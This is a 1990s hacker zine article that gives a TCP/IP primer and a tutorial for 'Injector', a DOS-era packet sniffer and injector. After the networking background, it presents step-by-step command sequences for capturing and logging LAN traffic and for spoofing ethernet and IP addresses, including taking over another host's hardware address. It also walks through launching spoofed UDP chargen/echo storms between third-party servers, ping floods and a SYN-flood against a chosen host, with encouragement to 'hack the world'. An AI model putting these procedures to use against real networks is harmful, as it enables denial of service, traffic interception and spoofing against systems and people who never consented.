Copy Link
Add to Bookmark
Report
xine-1.013
/-----------------------------\
| Xine - issue #1 - Phile 013 |
\-----------------------------/
b0z0 and Kernel Panic
proudly brings into your hands
-------------------------------------------
| LowLevel Internet Hacking with Injector |
-------------------------------------------
a) Introduction
----------------
This is an article dealing with low level aspects of TCP/IP. It comes
toghether with a program, Injector, that helps to understand and to
play with TCP/IP networks. Please have a look in the doc directory of
Injector that you get with this zine. With Injector you can look for
packets that pass on your ethernet and enter new packets entirely
formatted by you. Even you can quite easily write C programs that looks
for a specified packet and when they get it to respond adeguately.
First of all a small intorduction to how TCP/IP works. This is only a
brief survey, so don't expect to learn too much from it. Please refer
to some good books (I personally prefer D.E. Comer's book
"Internetworking with TCP/IP"). The definitive references for the
Internet are the RFCs, but they aren't suited for first-time learning.
The key to the functionality of Internet is layering. When an
application on a given host transimits data to another host it is
passed through many -more or less indipendent- protocol layers. Every
layer does a part of work in sending the data. Because they are, at
least conceptualy, indipendent, there can be different protocol
specification for every layer. On the Internet we have three different
layer:
* The transport layer. This takes a stream of data from application
and divides it in packets. It performs also a port multiplexing, so
every applications on a machine has a port number. On the Internet the
protocol for this layer are the TCP (Transport Control Protocol) and
the UDP (User Datagram Protocol). The TCP additionaly assures (by
retrasmission) that the data is correctly passed over the network. The
packet generated by the transport layer are passed down to the next
layer.
* The internet layer. This assigns every host an unique identification
(hardware indipendent) and handles routing of packet from the source
route to the destination. It' doesn't assure that the packet is
correctly delivered, this is a duty of the previsious layer or the
application. Additionaly it provides that packets (which are now
called datagrams) are of a suitable length for the next layer by
eventually fragmenting them (and of coures reassembling them on the
destination host). The protocol uses here is the IP (Internet Protocol).
* The link layer. This depends on the various type of hardware
connection. There can be broadcast networks, many host sharing the
same medium -at least logically- or point to point links, i.e. two
host linked togheter. In the former case the protocols used are mainly
Blue Book Ethernet, IEEE 802 (Ethernet, Token Ring), X.25 in
unconnected mode, in the later PPP (Point to Point Protocol), SLIP
(Serial Line Internet Protocol) or so called virtual circuits (for
example IP in IP encapsulation wormholes or X.25 in connected
mode). Here the packet of date are called frames.
Every layer adds to the packet some additional data for internal use
(for example checksums, progressive numbers, host and port addresses,
lengths, etc.). So when flowing on the communication medium the format
of a frame is usually: link layer overhead, internet layer overhead,
transport layer overrhead, useful application data. Additionaly there
are other helper packets of various protocols, for example ARP and
RARP for finding Ethernet addresses, LCP,IPCP and others for PPP
conection negotiation, ICMP (Internet Control Message Protocol) as an
aid to IP and others. Application data can be either from user-level
application (FTP, Telnet, HTTP, etc,) or system applications (DNS for
name resolving, NFS when we speak of exported file systems,
RIP,EGP,BGP and such for route enstablishing). Both of them undergo
the layering scheme. Keep in mind that system application (DNS, NFS
and routing info) usually use UDP for efficency, instead user level
applications use TCP for easyness because TCP already provides a
reliable communication chanell.
Injector is useful in understanding Ethernet networks. I have put a
brief extract from the RFCs in this zine as reference for packet
building, but get the full RFCs as soon as you can!
b) A little Injector tutorial
-----------------------------
- Creating packets
If you want to know how to create a packet check the "Summary of useful
data in building TCP/IP packets" and give a look at our included examples.
Explaining how to create packets is a very hard thing, so I decided to
include a reference so you may be able to do it yourself :) Here is just
some stuff that you need to be able to create packets using the included
summary.
First of all, a tipical packet is like this:
------------------------------------
| Ethernet header | main packet |
------------------------------------
The ethernet header is needed and it is used to determinate from where
this packet is, what it is etc. Be sure to include the 'e' charachter in
the packet ('e' means end of the ethernet header) when you finished with
the ethernet header.
Then of course also the main packet is divided in various parts. Let see
a TCPIP main packet:
------------------------------
| IP datagram | TCP packet |
------------------------------
In the same way the an UDPIP is:
------------------------------
| IP datagram | UDP packet |
------------------------------
And then, at it's time, the TCP (or UDP) is divided into various sub
parts, but this is well explained in the summary.
But this is only for packets that uses the Internet Protocol (IP) such
as TCP, UDP, ICMP and EGP. For example the ARP (Adress Resolution
Protocol) isn't preceeded by an IP datagram, so the main packet will be
just composed from the ARP packet.
Concluding with an example a TCP packet will look like:
------------------------------------------
| eth. header | IP datagram | TCP packet |
------------------------------------------
...or better:
-----------------------------------------------------
| Eth. header | IP datagram | TCP Header | TCP Data |
-----------------------------------------------------
...while the ARP which doesn't use the IP will simply be:
------------------------------------------
| eth. header | ARP packet |
------------------------------------------
So pay attention when creating packets and when reading the summary! This
isn't a simple topic and i hope that you understanded this very-very short
intro. But i repeat: get a good book or yell us :)
- Injector as a packet sniffer
Once you have entered in Injector (and configured the net hardware :) )
you'll be able to see what is going up in your local network. The console
is divided in two parts:
* the network watcher
* the command part
In the network watcher all the packets that pass over the network are
displayed. Injector tryes to identify the packets types, their source and
their destination and of course it displays it's contents.
In the command part you can type the various commands that Injector
offers to you. Also errors will be displayed here.
If you are sniffing in a quite big local network you may be very confused
by a great traffic of packets. To prevent this you may set a filter to the
displayed output. Injector can filter the packets by:
* Type of packet. You can only look for TCP/IP packets using the
command "onlyip" and then turn back to all packet (ie.
IPX) displaying by using the command "allpack".
* Type of packet in IP datagram. You can look only for TCP packets
using the "onlytcp" command and then set it back to full
displaying (UDP, ICMP...) by using "allpkt"
* Source port. You can watch only packet from a port using the command
"maskpsrc [port number]". To watch again all the packet just set
the port to 0.
* Destination port. As for source port, but you must use the "maskpdst"
command.
* Source IP. You can watch only packet from an IP using the command
"maskipsrc [ip adress]". To reset this set the IP to 0.0.0.0.
Setting the IP to 192.12.0.0 means that packet from 192.12.*.* are
displayed.
* Destination IP. As for source IP but using the command "maskipdst".
Of course if you would like to see what's up in the net for a lot of time
it wouldn't be very pleasant to stay there day and night. And here comes
the log options. There are two types of logging:
* The normal log, which stores everything that you see on the network
wathcer (type of packet, source, destination, contents and special
stuff for some types of packet). This is activated by using the
command "logon". The log session is closed with "logoff". The
entire logging will be appended to the file INJECTOR.LOG.
* The raw log, which store everything in a byte-by-byte log. Infact
this type of log will store in a file (RAW.LOG) every byte that
comed trought the network. This of course isn't very friendly if
you would just to see what's going up in the network. The raw
logging is infact present as a help for packet creation. Infact
with the raw log you will have the opportunity to see how the
packet _really_ is and this may be of help to you when you'll
have to create your own packets. To activate the raw log you
must just enter "do rawlog" and press a key to stop it.
This are basically all the options that Injector used as a sniffer gives
you.
- Injecting packets
This is the real power of Injector: you can send *everything* that you
want (well, if the packet are someway logical and not just random data
it is much better ;)) in your local network (and, of course, the local
network will then send this ahead in the Internet if you want this).
After we have created a packet we can now inject it. Injector may just
send the packet by using "inject" function. If our packet is named
ping.pkt (i suppose it is compiled and ready to be sent) our injecting
session may look like this:
set infile ping.pkt
do inject
we have just defined that the packet that we would like to inject is
ping.pkt and then sent it. But we may also have to set an ethernet adress
for source or destination of this packet. So let's do it:
setmyeth 11:11:11:11:11:11
setethto 22:22:22:22:22:22
set filleth 1
set fillethto 1
set infile ping.pkt
do inject
we have just sent a packet with an ethernet header different from the
packet file one. Infact we have set up the source (setmyeth) and the
destination (setethto) hardware adress and then defined that we will fill
the source adress (we set filleeth to a value. 1 is just for example) and
the destination adress (we set fillethto). Then we finally sent the
packet. Of course you may not know or you may not have the possibilty to
know the hardware adress of a machine on your local network. So let's look
how to get it (we suppose that you want to get the hardware adress of
the IP 192.168.0.2) and set is as it was our ethernet adress:
set arpip 192.168.0.2
do getarp
In this way we now will have defined as our ethernet adress the ethernet
adress of the machine with the IP equal to 192.168.0.2. Infact the "do
getarp" functions send an ARP request, which is, in a few words, a request
for the harware adress for an IP. Of course if the machine doesn't exist
or is down the program will tell us that the adress haven't been set. We
can also do the same for the destination ethernet adress. Just do:
set arpip 192.168.0.1
do getarpto
that's it. Pay attention! If you are working on a network and would like
to go outside of it you must of course set the destination ethernet adress
as the hardware adress of your gateway! Note also that all the TCP packet
MUST have the ethernet destination set to the right hardware adress. The
hardware source may be quite always 255:255:255:255, the same is for the
hardware to, if you don't count TCP packets.
Well, let's suppose that we created a ping packet (the ping.pkt) and we
would like to change the IP from adresses in the ping without exiting
Injector. What shall we do? See...
setmyip 192.168.0.5
set fillipfrom 1
set infile ping.pkt
do injectip
The funcion "injectip" infact verifies if it have to fill the source IP
(if the variable fillipfrom is set it takes the IP from the setmyip), the
destination IP (if the variable fillipto is set it takes IP from the
settoip), the source port (this isn't avaiable in ICMP packets, but if it
can be applied (TCP or UDP packets) it put the value of portfrom in the
right place) or the destination port (if portto is defined). After this it
will made the right changes it will recalculate the checksums and will
send the packet with new interesting data! Simple eh?
Now let's see another example. We are dealing with the echo.pkt sample
included in the package. The packet starts an udp echo war between the
port 7 of the 192.168.0.1 and the 192.168.0.2. Let's imagine that we would
like to start an udp chargen war (on port 19) between two servers on our
net, respectively the 10.0.0.4 and 10.0.0.7 (of course they must have the
chargen active :) ) but we don't know how to change the packet manually
with an editor. Let's see how to do it:
set infile echo.pkt
setmyip 10.0.0.4
settoip 10.0.0.7
set fillipfrom 1
set fillipto 1
set portfrom 19
set portto 19
do injectip
As you may have already understanded we have first defined the file with
the packet, then defined the IPs of the two servers, defined that our
function will fill the packet with them, then we have defined the source
and destination port and finally sent the modified packet. Of course,
depending on the packet you have built, Injector will put, if allowed
(the port is only present in TCP and UDP packets. If you are sending an
ICMP packet, a ping, the ports will be totally ignored), the various
values in the right place, recalculate the checksums and send it.
Let's imagine that the sysadm of the 10.0.0.7 have just disabled the
chargen. Naaaa, what a mess! :) But hey! You can still create a good
dialog between the chargen (19) of the 10.0.0.4 and the echo (7) of
10.0.0.7. So (i consider that you haven't quit or changed anything from
the last example) we can just undefine the To port. It's simple
unset portto
do injectip
this will unset the portto, so Injector will use the original port that
was in the echo.pkt file, that's 7. We may also have done the same thing
in a more polite way:
set portto 7
do injectip
but i had to demostrate to you the unset command :)
There is also a flood example function that comes with injector. This
will just send a determinate number (let's say 666) of packets. Let's see:
set infile ping.pkt
set pktnumber 666
do flood
This will just send 666 packets ping.pkt. If the packet was just like a
real ping it will produce the effect of a "ping -f" on a *nix. Notice that
the flood function just send packets without changing them, so with this
you won't be able to do SYN-Flood attacks or something like. But to do
this (and here is where i was trying to come :) ) you can just add your
own function in Injector. Infact Injector, that of course come with full
source code, has the ability to be expanded in a very simple way by
anyone! In this way you will be able to create everything (for example
create a new synflood function that will send syn request packets but will
also change the sequence number, the source ip and the port) using the
already prepared functions. Just give a look at the main documentation if
you want to know more about adding functions.
Anyway don't desperate, also the SYN-Flood capability is included, but the
rule is that you can enhance a function or make a new one in a very short
time using the already prebuilt Injector functions.
So just wake up hack the world :)
And, as the last example, let's see how can we do a SYN-flood session.
Come on:
set arpip 192.168.0.1
do getarpto
set fillethto 1
set synip 192.168.0.1
set synportfrom 5
set synportto 80
set synpkt 100
do synflood
As you can see we will first set our ethernet adress to the destination
one (again, TCP _must_ have a good hardware adress... the gateway adress
if you want to exit from your network) and set that the program will fill
it. Then we define which host to attack, from which to which port and how
many packets (yay, 100 is a little to much... but the example will fill
the bill). And the game is done, just execute it!
